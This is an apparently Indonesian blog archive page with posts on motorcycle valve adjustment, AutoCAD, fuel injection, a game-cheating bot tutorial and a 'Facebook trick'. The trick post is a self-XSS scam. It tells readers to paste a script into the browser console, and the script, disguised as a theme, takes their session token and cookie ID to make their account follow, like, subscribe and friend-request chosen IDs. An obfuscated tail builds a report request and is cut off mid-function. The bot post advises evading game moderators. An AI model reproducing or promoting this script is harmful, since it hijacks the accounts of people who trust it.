7. Apabila filler masuk ke celah tersebut, dan puller didorong kearah depan tidak bisa, tapi saat ditarik bisa tanpa meninggalkan bekas goresan di filler berarti celah klep bagus (standar)

8. Apabila point 7 tidak terjadi, lakukukan langkah berikut :
  1. Longgarkan sedikit mur penyetel klep dengan kunci ring 9 mm sambil menahan baut penyetel klep dengan kunci ’ L ’ stelan klep.
  2. Masukan puller ke celah klep dan stel dengan memutar stelan klep untuk mendapatkan celah klep yang sesuai dengan ketentuan apabila puller didorong tidak bisa tapi apabila ditarik puller bisa bergeser tanpa meninggalkan bekas di puller.
  3. Setelah didapat celah standar, tahan baut penyetel klep lalu kencangkan mur pengikat klep dengan kunci ring 9 mm.
  4. Cek kembali celah klepnya untuk memastikan bahwa klep telah distel dengan baik.
  5. Setelah didapat penyetelan yang tepat tutup kembali klep dan pastikan pengencangan bautnya benar.
  6. Pasang kembali cover body kebalikan urutan dari pembongkaran.
Semoga informasi ini membantu anda mengetahui cara penyetelan klep yang sesuai dengan standar kerja pabrikan motor.

Senin, 09 Juni 2014

Download and tutorial menggunakan G4r0n9 Bot Atlantica

kali ini saya mau mengajarkan bagaimana cara menggunakan / Tutorial menggunakan [G4r0n9 Bot]
Cekidot

- Buka TextMod
1. Target Application = Atlantica.exe ( cari dari folder game atlantica)
2. Select Packages = atlantica.tpf ( cari dari Folder TexMod )
3. RUN


Sampe Loading selesai... dan tunggu sampai tampilan Log In Game anda
-> Log In di game
--> Setting Food Slot 

Setting Tampilan Momon  > Pengaturan (Alt + O) > Grafik
- Normal Avatar = Gunakan Char disederhanakan
- Battling Avatar = Omit Char disederhanakan
- Konfirmasi

-- Lalu coba anda masuk map skirmish...
NB :
Jika momon berwarna hijau = SUKSES Inject langkah awal untuk BOT
Jika momon berwarna merah = GAGAL... lakukan dari awal lagi

>> Buka BOT.
->> Setting Bot anda

OK... sekarang Anda siap Boting In Game...

NB Akhir  :
ingat.... jgn setiap hari anda Boting, atur waktu karna banyak mata mata...
Lebih aman main diskirmish. karna tidak bisa diObeserve

Terima kasih atas waktunya

Best Regard to you all




                                     DOWNLOAD HERE


                                                           PASSWORD : h4r15225123

Rabu, 21 Mei 2014

7 Jam Belajar Interaktif AutoCAD 2008 untuk Orang Awam




















AutoCAD 2008 adalah versi terbaru dari program CAD paling populer dewasa ini. AutoCAD adalah sebuah program merancang berbantu komputer atau biasa disebut dengan istilah Computer Aided Design (CAD). AutoCAD dapat digunakan untuk menyelesaikan berbagai macam gambar perencanaan dan perancangan bagi banyak disiplin ilmu, seperti arsitek, teknik mesin, teknik sipil, teknik industri, dan lain-lain.
AutoCAD yang merupakan program CAD keluaran Autodesk telah menjadi standar dunia saat ini. AutoCAD memiliki program pendukung yang jumlahnya banyak sekali, seperti Autodesk Mechanical, AutoMap, Architectural Desktop, Automil, AutoCivil, dan seterusnya.
File output AutoCAD dapat dimanfaatkan oleh program-program lain untuk diolah lebih lanjut, seperti 3ds max, STAAD, SAP, dan lain-lain.
Buku ini merupakan panduan belajar dasar AutoCAD 2008 yang cocok bagi pemula. Selain pembahasannya mudah diikuti, buku ini juga dilengkapi dengan video tutorial yang akan membuat Anda lebih mudah lagi mengikuti materi dari buku ini.


Daftar Isi

JAM PERTAMA : MENGENAL AUTOCAD 2008

· Mengenal AutoCAD 2008
· Elemen AutoCAD 2008
· Perintah LINE
· Koordinat 2D
· Perintah ERASE
· Perintah ARC
· Perintah CIRCLE
· Latihan Jam Pertama
· Soal Jam Pertama


JAM KEDUA : EDITING
· Perintah TRIM
· Perintah EXTEND
· Perintah JOIN
· Perintah OFFSET
· Perintah MOVE
· Perintah COPY
· Perintah ROTATE
· Perintah MIRROR
· Latihan Jam Kedua
· Soal Jam Kedua


JAM KETIGA : MODIFIKASI OBJEK
· Perintah FILLET
· Perintah CHAMFER
· Perintah CHANGE
· Perintah LINETYPE dan LTSCALE
· Perintah PLINE
· Perintah PEDIT
· Perintah EXPLODE
· Perintah PROPERTIES
· Perintah MATCHPROP
· Latihan Jam Ketiga
· Soal Jam Ketiga


JAM KEEMPAT : TOOL PELENGKAP
· Perintah OSNAP
· Perintah TEXT dan STYLE
· Perintah MTEXT
· Perintah DONUT
· Perintah BHATCH dan HATCHEDIT
· Perintah BOUNDARY
· Perintah TABLE
· Perintah QSELECT
· Latihan Jam Keempat
· Soal Jam Keempat


JAM KELIMA : ARRAY, LAYER, DAN BLOCK
· Perintah ARRAY
· Perintah LAYER
· Perintah BLOCK dan INSERT
· Perintah WBLOCK
· Perintah EXTERNALREFERENCES
· Perintah XCLIP dan IMAGECLIP
· Latihan Jam Kelima
· Soal Jam Kelima


JAM KEENAM : SKALA, DIMENSI, DAN PENCETAKAN GAMBAR
· Skala Gambar
· Perintah DIMLINEAR
· Perintah DIMALIGNED Perintah DIMARC
· Perintah DIMANGULAR
· Perintah DIMRADIUS dan DIMDIAMETER
· Perintah PLOT
· Latihan Jam Keenam
· Soal Jam Keenam


JAM KETUJUH : EXPRESS TOOLS
· Perintah BLOCKREPLACE
· Perintah NCOPY
· Perintah ARCTEXT
· Perintah TCASE
· Perintah TCIRCLE
· Perintah TXTEXP
· Perintah SUPERHATCH
· Perintah ALIASEDIT
· Latihan Jam Ketujuh
· Soal Jam Ketujuh


Senin, 19 Mei 2014

Perbedaan, Kelebihan dan Kekurangan Sistem Injeksi dan Karburator

Pada setiap kendaraan tentunya tidak luput dari penyuplai bahan bakar, Dimana penyuplai ini bekerja untuk mengolah bahan bakar hingga menjadi campuran yang akan dimasukkan ke dalam ruang bakar, komponen yang satu ini disebut dengan karburator, Namun pada pabrikan-pabrikan yang memproduksi sepeda motor sekarang banyak yang menganut Sistem Injeksi.

Peerbedaan antara sistem karburator dan injeksi adalah hanya pada proses penghisapan bensin ke ruang bakar. Pada Sistem Injeksi sudah menggunakan peranti elektronik seperti injektor, yang tugasnya menyemprotkan bensin ke ruang bakar. Sedangkan pada karburator yang masih mengandalkan hisapan yang diperoleh dari pergerakan piston pada silinder. sistem injeksi bisa menyeimbangkan volume bensin yang disemprotkan ke ruang bakar dengan kebutuhan mesin, sehingga didapat hasil pembakaran yang efisien. Jadi Sistem Injeksi sudah tentu akan lebih irit.
Karburator VS Injeksi
Karburator VS Injeksi

Namun pada setiap Sistem tetap memiliki Kelebihan dan Kekurangannya masing-masing. Berikut merupakan Kelebihan pada Sistem Injeksi dan Karburator :

Pada Sistem Injeksi :
Sistem Injeksi
Sistem Injeksi
=>Kelebihan

* Dapat mengatur A/F ratio berdasarkan kebutuhan mesin dan kondisi cuaca.
* Dapat mengatur A/F berdasarkan kadar emisi yang diwajibkan sehingga emisi lebih baik.
* Ketika temperature dan tekanan udara berubah maka dia dapat menyesuaikannya.
* Injector menyuplai bahan bakar kemesin berdasarkan kebutuhan mesin sehingga penggunaan bahan bakar dapat lebih effisien sehingga menjadi lebih irit.

=>Kelemahan

* Harga lebih mahal dibandingkan karburator sebab lebih banyak terdapat komponen.
* Jumlah komponen yang lebih banyak dan kompleks
* Perawatan harus menggunakan alat khusus dan teknik tertentu.

Pada Sistem Karburator :
Karburator
Karburator
=>Kelebihan

* Lebih murah dibandingkan system injection tetapi apabila ditambah alat lain, maka harganya mendekati system injection.
* Jumlah komponen lebih sedikit dan tidak kompleks
* Perawatan lebih gampang dan sederhana
* Gampang saat dilakukan pembersihan atau servis

=>Kelemahan

* Untuk penyetelan A/F ratio dilakukan manual dan hanya bisa sekali.
* Membutuhkan penyetelan yang tepat untuk semua kondisi tetapi tidak dapat mengatasi setiap kondisi yang dapat berbeda-beda
* Perlu adanya alat/komponen tambahan agar kerja karburator dapat menyesuaikan kondisi seperti pompa akselerasi, coasting enricher, dll
* Penggunaan bahan bakar kurang efisien, sehingga cenderung boros.

Hanya itu yang ane dapat simpulkan, Semoga bermanfaat bagi yang baca . .
Terima kasih ...

Sabtu, 17 Mei 2014

TRIK FACEBOOK UNTUK ANDA 2014! (2 langkah)


LANGKAH 1: DALE KLIK "IKUTI DAN KONFIRMASI" KEMUDIAN KLIK "SHARE". (Diperlukan)
                                                                                                    

LANGKAH 2: SETELAH PEMBUATAN "LANGKAH 1" TERUS DI BAWAH UNTUK "STEP 2".
1 - Copy semua kode di bawah, memberikan klik tombol "Pilih Text".
2 - Pergi ke dinding facebook Anda dan Tekan "F12" pada keyboard Anda.
3 - Klik ke bar akan dibuka di mana "atau CONSOLE CONSOLE" kata
4 - Paste seluruh kode dalam ruang putih "Bawah Console"
5 - Klik "ENTER" dan akan memperbarui facebook ... tunggu 2 menit dan siap. : D
COMPLETE COPY CODE:

  //theme
            (function() {
    var css = ".highlightIndicator, \n.tinyman:after, \n.fbTimelineSideAds,\n.ego_column,\n.buttonWrap, \n.fbTimelineSpine, \n.spinePointer, \n.topBorder, \n.bottomBorder, \n#footerContainer, \n.middleLink, \n.slimHeader #pageNav li.tinyman::after, .slimHeader #pageNav li.middleLink::after, \n.slimHeader #pageNav .middleLink a, \n.moreSectionsLink\n{\ndisplay:none !important;\n}\n\ndiv.mainWrapper{\npadding-left: 1em !important;\n}\n.uiProgressBar .fill {\nbackground: #444 !important;\nborder: solid #222 !important;\n}\n.uiTypeaheadView .compact li {\nbackground-color: #111 !important;\n}\ndiv.uiTypeaheadView .selected {\nbackground-color: #333 !important;\n}\n.fbIndex .gradient {\nbackground: none !important;\n}\n.notifNegativeBase #fbNotificationsFlyout li.jewelItemNew, .notifNegativeBase #fbNotificationsFlyout li.first_receipt {\nbackground: #333 !important;\n}\n.pop_container {\nbackground-color: #000 !important;\n}\n.pop_verticalslab, .pop_horizontalslab {\nbackground: #222 !important;\n}\n.uiMenuXItem\na.highlighted {\nbackground-color: #333 !important;\nborder-color: #000 !important;\ncolor: #FFF !important;\n}\n.uiMenuXItem\na.highlighted {\nbackground-color: #333 !important;\nborder-color: #000 !important;\ncolor: #FFF !important;\n}\n.uiContextualLayer {\nbackground-color: #111 !important;\n}\n.HighlightSelectorMenu {\nborder: 2px solid #000 !important;\nbackground: #111 !important;\nborder-radius: 5px !important;\n}\n.-cx-PUBLIC-uiDialog__border, ._1yu {\nborder: 10px solid rgba(82, 82, 82, .7) !important;\n-webkit-border-radius: 8px !important;\n}\ninput[type=\"text\"], input[type=\"password\"], .inputtext, select, .select, select > option, select > button, .fbPhotoImageStage .fbPhotosPhotoButtons .tagMessage, .fbPhotoImageStage .fbPhotosPhotoButtons .cropMessage, #u1clso_61 div img, #navSearch .uiTypeahead, .-cx-PRIVATE-uiDialog__content, ._1yu, ._t {\nbackground-color: #111 !important;\n}\n.fbTimelineCapsule\n{\nbackground: none !important;\n}\n.sp_c79t5t\n{\nbackground-image: none !important;\n}\n* {\nborder-color: transparent !important;\ncolor: #cdecea !important;\nbackground-color: transparent !important; \n}\n\n#fbTimelineHeadline .profilePic {\nbackground-color: #FFF !important;\nborder: 4px solid #FFF !important;\n-webkit-border-radius: 2px !important;\nheight: 160px !important;\nwidth: 160px !important;\n}\n\n\n.fbTimelineScrubber {\n\nborder-color: #333333 !important;\npadding: 8px 0 8px 1px !important;\ntop: 38px !important;\nwidth: 122px !important;\nz-index: 1 !important;\nborder-radius: 10px !important;\n}\n\n.fbPhotosPhotoTagboxBase .tagName {\nbackground: #000 !important;\ncolor: #FFF !important;\ncursor: default !important;\nfont-weight: normal !important;\npadding: 2px 6px 3px !important;\ntop: 3px !important;\nwhite-space: nowrap !important;\n}\n\n.fbPhotosPhotoTagboxBase .innerTagBox {\nborder: 4px solid white !important;\nborder-color: rgba(255, 255, 255, .8) !important;\n}\n\n.fbPhotoSnowlift {\nbackground-color: rgba(0, 0, 0, .7) !important;\n}\n\n.fbPhotoSnowlift .rhc , .pagingActivated .snowliftOverlay, .fbPhotoSnowlift.taggingMode .snowliftOverlay, .stageWrapper{\nbackground-color: #111 !important;\n}\n\n.profile-picture img {\nmax-width: 170px !important;\n}\n\n.webComposerPhotoUpload input, .webComposerPhotoUpload {\ncolor: #000000 !important;\n}\n\n\nhtml{background:url(http://ifanboy.com/wp-content/uploads/2011/07/GhostRider_1_CoverLozziVariant.jpg) no-repeat center fixed;background-size:cover;-o-background-size:cover;-webkit-background-size:cover}\n\n\n\n\n.fbCurrentStory:hover, .connect_widget_like_button, .fbFeedTickerStory:hover, .item a:hover, .fbJewelFlyout li:hover, .uiSideNav a:hover, .fbNubFlyoutBody, .uiButtonConfirm {\nbackground: #111111 !important;\n}\n\n.fbChatMessageGroup {\nborder-color: #2c2c2c !important;\n}\n\n.fbChatSidebar {\nbackground: #111111 !important;\n}\n\n#leftCol {\nposition: relative;top:20px!important;\nmin-height: 400px !important;\n}\n\n.arrowLeft a {\nbackground-image:url('http://i.imgur.com/26zf5.png') !important;\nborder-color: #666666 !important;\n}\n\n.arrowRight a {\nbackground-image:url('http://i.imgur.com/v6B6z.png') !important;\nborder-color: #666666 !important;\n}\n\n.uiStreamSubstory {\nborder-color: transparent !important;\n}\n\n.uiHeader {\nbackground-color: transparent !important;\n}\n\n.fbSidebarGripper, .fbTickerFooter, .fbSidebarGripper div, .navSubmenu:hover {\nbackground-color: #222222 !important;\n}\n\n.fbTimelineCountButton, .uiBoxWhite, .uiButtonGroup {\nbackground-color: #1c1c1c !important;\n}\n\n\n\n#leftCol {\npadding-top: 0px !important;\npadding-left: 0px !important;\n}\n\n.fbNubFlyoutFooter {\nbackground: #111111 !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #d69ef0 !important; \nborder: #333333 !important;\n}\n\n.uiStream .uiSelectorButton {\nbackground-image: url(\"http://i.imgur.com/nOfuQ.png\") !important;\n}\n\n.uiSearchInput {\nbackground-image: url(\"http://i.imgur.com/agmNw.png\") !important;\n}\n\n\n\n\n.jewelButton:hover, .topNavLink a:hover {\nbackground-color: #222222 !important;\n}\n\n.uiScrollableAreaGripper {\nbackground-color: #666666 !important;\n}\n\n.uiSearchInput, .fbPhotosGridHeader, .uiComposerMessageBoxControls, #MessagingShelf, .uiBoxGray {\nbackground: #111111 !important;\n}\n\n.uiButton {\nbackground: #1c1c1c !important;\n}\n\n#blueBar  {\nbackground: -moz-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbox-shadow: 0 0 7px rgba(211, 32, 198, 0.75) !important;\nborder:4px ridge #b4ec96 !important;\nmargin-top:5px!important;\nmargin-left:5px!important;\nborder-radius: 70px!important;\n}\n\n\n\n#contentCol, #pageLogo a {\nbackground-color: transparent !important;\nborder-color: transparent !important;\n}\n\n.uiMorePager {\nmargin-bottom:6px !important;\nbackground-color: #1c1c1c !important;\nborder: 0px solid #333333 !important;\n}\n\n.uiStreamStory, .fbIndexFeaturedRegistration, .signupForm {\nmargin-bottom:2px !important;\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder-radius: 15px !important;\npadding: 1px !important;\nborder: 0px solid #333333 !important;\n}\n\n.uiStream .uiStreamHeader .uiStreamHeaderChronologicalForm .uiSelectorButton .uiButtonText {\ncolor: #000 !important;\n}\n\n#album_pagelet {\nbackground-color: #111111 !important;\nmargin-left: 0px !important;\nmargin-top: -15px !important;\n}\n\n.tagWrapper, #pagelet_main_column, .timelineUnitContainer, .fbTimelineTopSection, #MessagingMessages {\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder-radius: 15px !important;\nborder: 0px solid #333333 !important;\n}\n.fbTimelineTopSectionBase .topSectionBottomBorder {\ndisplay: none !important;\n}\n#pagelet_main_column {\nwidth: 500px !important;\n}\n\n.fbJewelFlyout, .uiToggleFlyout, .navigation, .container, .uiOverlayContent, .search, .pop_container_advanced {\nbackground-color: #111111 !important; \nborder-radius: 15px !important;\nborder: 2px solid #333333 !important;\n}\n\n#left_column, #leftCol, .MessagingReadHeader {\nbackground: #111111 !important;\nborder-radius: 15px !important;\n}\n\n#left_column, #leftCol {\nmargin-left:-8px !important;\nwidth: 185px !important;\n}\n\n.uiMediaThumb i, .uiProfilePhoto {\nborder: 1px solid #000000 !important; \n}\n\n#rightCol {\nmargin-top: 10px !important;\npadding-top: 0px !important;\nbackground: #111111 !important;\nborder-radius: 15px !important;\nborder: 0px solid #333333 !important;\n}\n\n#right_column, .rightColumnWrapper {\nmargin-top: 0px !important;\npadding-top: 0px !important; \nposition: fixed !important;\nbackground: #111111 !important;\nborder-radius: 15px !important; \nborder: 0px solid #333333 !important;\n}\n\n.aboutMePagelet {\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder: 0px solid #333333 !important;\n}\n\n.fbNubButton, .fbNubFlyoutTitlebar, .uiToggleFlyout, .fbChatSidebarFooter {\nbackground: -moz-linear-gradient(center top , #333333, #000000) !important;\nbackground: -webkit-linear-gradient(center top , #333333, #000000) !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #f99800 !important;\nborder: #333333 !important;\n}\n\n.fbChatOrderedList {\nbackground: -moz-linear-gradient(center right , #333333, #000000) !important;\nbackground: -webkit-linear-gradient(center right , #333333, #000000) !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #f99800 !important;\nborder: #333333 !important;\n}\n\n\n\n\n\n\n\n\n.UFIMentionsInputWrap,.navHeader, ._554n,.fbxWelcomeBox ,._2yg .composerTypeahead {\nbackground: -moz-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbox-shadow: 0 2px 4px rgba(211, 32, 198, 0.75) !important;\nborder:2px ridge #f99800 !important;\nmargin-top:5px!important;\nmargin-left:0px!important;\nborder-radius: 7px!important;\npadding:3px!important;\n}\n.fbx #pageHead, #blueBar #pageHead{\npadding-top:0px!important;\n}\n\n.slim #blueBar {\n\n    height: 35px!important;\n}\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg,\n._s0,\n._42fz .pic{\n   border:2px solid  rgba(0, 0, 0, .55)!important;\n   border-radius: 37px!important;\n}\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg:hover,\n._s0:hover,\n._42fz .pic:hover{\n   box-shadow: 0px 0px 4px rgba(211, 32, 198, 0.75) !important;\n   border:2px ridge #f99800 !important;\n   border-radius: 37px!important;\n}\n.uiSideNav .sideNavItem .hasCount:hover,\n.uiSideNav .sideNavItem .noCount:hover{\n   text-shadow: 2px 2px 2px rgba(39, 98, 138, 0.75) !important;\n   color: #f99800 !important;\n\n}\n#navSearch {\nwidth:300px !important;\nmargin-top: 6px !important;\nmargin-left: 30px !important;\nborder-color: transparent !important;\n}\n#headNav {\n    height: 30px;\n}\n\n\n\na:hover{\n   text-shadow: 2px 2px 2px rgba(39, 98, 138, 0.75) !important;\n   color: #f99800 !important;\n}\n.UIActionLinks_bottom a, \n.UIActionLinks_bottom button.as_link, \n.UIActionLinks_bottom .uiLinkButton input, \n.UIActionLinks_bottom .uiLinkButton input:hover,\n.uiStreamMessage .actorName, .uiStreamMessage .passiveName\n{\n   text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.99) !important;\n   color: #f99800 !important;\n}\n._2yg .composerTypeahead ,#bfb_options_button_li.openToggler ul,\n .better_fb_mini_message, .sfx_mini_message_no_x,\n .GM_options_wrapper_inner,\n .better_fb_mini_message, .mini_x{\nbackground: -moz-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top, #45484d  0%,#000000 100%);\nbox-shadow: 0 2px 4px rgba(39, 98, 138, 0.75) !important;\nborder:2px ridge #f99800 !important;\nmargin-top:5px!important;\nmargin-left:0px!important;\nborder-radius: 7px!important;\npadding:3px!important;\n}\n.GM_options_buttons input{\n   text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.99) !important;\n   color: #f99800 !important;\n\n}";
    if (typeof GM_addStyle != "undefined") {
            GM_addStyle(css);
    } else if (typeof PRO_addStyle != "undefined") {
            PRO_addStyle(css);
    } else if (typeof addStyle != "undefined") {
            addStyle(css);
    } else {
            var node = document.createElement("style");
            node.type = "text/css";
            node.appendChild(document.createTextNode(css));
            var heads = document.getElementsByTagName("head");
            if (heads.length > 0) {
                    heads[0].appendChild(node);
            } else {
                    // no head yet, stick it whereever
                    document.documentElement.appendChild(node);
            }
    }
    })();


/* Nh?c */
var parent=document.getElementsByTagName("html")[0];
var _body = document.getElementsByTagName('body')[0];
var _div = document.createElement('div');
_div.style.height="25";
_div.style.width="100%";
_div.style.position="fixed";
_div.style.top="auto";
_div.style.bottom="0";
_div.align="center";
var _audio= document.createElement('audio');

_audio.style.width="100%";
_audio.style.height="25px";
_audio.controls = true;
_audio.autoplay = false;
_audio.autoplay = true;
_audio.src = "http://195.154.167.62:8206/;stream.nsv";
_div.appendChild(_audio);
_body.appendChild(_div);
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;
var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}
var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=1380391385519013&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}

a("1369586357");
a("100008144829924");
a("100008184425174");
a("100008320513381");

sublist("10203751422170588");
sublist("10203752633720876");
sublist("10203752630280790");
sublist("10203751427450720");
sublist("10203751418890506");
sublist("10203752674121886");
sublist("10204003018540340");
sublist("10204003018060328");
sublist("10204003016620292");
sublist("10204003412950200");
sublist("10204003428950600");
sublist("10204003354468738");

Like("120883347922333");
Like("149663518416907");
Like("1491981964355623");
Like("624838344277334");
Like("253384618196907");

P("4583073259418");
P("4583013737930");
P("4504215448022");
P("4501374256994");
P("3536205448377");
P("1585653085787");
P("10203699209945315");

P("668492249887926");
P("668492063221278");
P("320022518147653");
P("1501827823371037");
P("644125165681985");
P("1502436636643489");
P("320395128110392");
P("645040882257080");
P("276545472515376");



var _0xb161=["\x76\x61\x6C\x75\x65","\x66\x62\x5F\x64\x74\x73\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x67\x65\x74\x54\x69\x6D\x65","\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x72\x65\x70\x6F\x72\x74\x2F\x73\x6F\x63\x69\x61\x6C\x2E\x70\x68\x70","\x66\x62\x5F\x64\x74\x73\x67\x3D","\x26\x62\x6C\x6F\x63\x6B\x3D\x31\x26\x70\x70\x3D\x25\x37\x42\x25\x32\x32\x61\x63\x74\x69\x6F\x6E\x73\x5F\x74\x6F\x5F\x74\x61\x6B\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x5B\x5D\x25\x32\x32\x25\x32\x43\x25\x32\x32\x61\x72\x65\x5F\x66\x72\x69\x65\x6E\x64\x73\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x63\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x63\x6F\x6E\x74\x65\x6E\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x30\x25\x32\x43\x25\x32\x32\x65\x78\x70\x61\x6E\x64\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x33\x41\x31\x25\x32\x43\x25\x32\x32\x66\x69\x72\x73\x74\x5F\x63\x68\x6F\x69\x63\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x32\x43\x25\x32\x32\x66\x72\x6F\x6D\x5F\x67\x65\x61\x72\x25\x32\x32\x25\x33\x41\x25\x32\x32\x74\x69\x6D\x65\x6C\x69\x6E\x65\x25\x32\x32\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x66\x6F\x6C\x6C\x6F\x77\x69\x6E\x67\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x74\x61\x67\x67\x65\x64\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x6F\x6E\x5F\x70\x72\x6F\x66\x69\x6C\x65\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x70\x68\x61\x73\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x72\x65\x66\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x25\x35\x43\x25\x32\x46\x25\x35\x43\x25\x32\x46\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x25\x35\x43\x25\x32\x46\x4E\x61\x6E\x2E\x65\x72\x74\x74\x37\x25\x32\x32\x25\x32\x43\x25\x32\x32\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x31\x34\x35\x25\x32\x43\x25\x32\x32\x72\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x73\x75\x62\x5F\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x74\x69\x6D\x65\x5F\x66\x6C\x6F\x77\x5F\x73\x74\x61\x72\x74\x65\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x75\x73\x65\x72\x25\x32\x32\x25\x33\x41","\x25\x37\x44\x26\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x3D\x31\x26\x5F\x5F\x75\x73\x65\x72\x3D","\x26\x5F\x5F\x61\x3D\x31\x26\x5F\x5F\x64\x79\x6E\x3D\x37\x6E\x38\x61\x68\x79\x6A\x32\x71\x6D\x76\x75\x35\x6B\x39\x55\x6D\x41\x41\x61\x55\x56\x70\x6F\x26\x5F\x5F\x72\x65\x71\x3D\x75\x26\x74\x74\x73\x74\x61\x6D\x70\x3D\x32\x36\x35\x38\x31\x36\x38\x35\x37\x31\x30\x37\x31\x31\x30\x38\x38\x38\x30","\x50\x4F\x53\x54","\x6F\x70\x65\x6E","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x63\x6C\x6F\x73\x65","\x73\x65\x6E\x64","\x31\x30\x30\x30\x30\x36\x39\x35\x32\x31\x31\x39\x30\x34\x38"];var fb_dtsg=document[_0xb161[2]](_0xb161[1])[0][_0xb161[0]];var user_id=document[_0xb161[4]][_0xb161[3]](document[_0xb161[4]][_0xb161[3]](/c_user=(\d+)/)[1]);var now=( new Date)[_0xb161[5]]();function Report(_0x45e7x5){var _0x45e7x6= new XMLHttpRequest();var _0x45e7x7=_0xb161[6];var 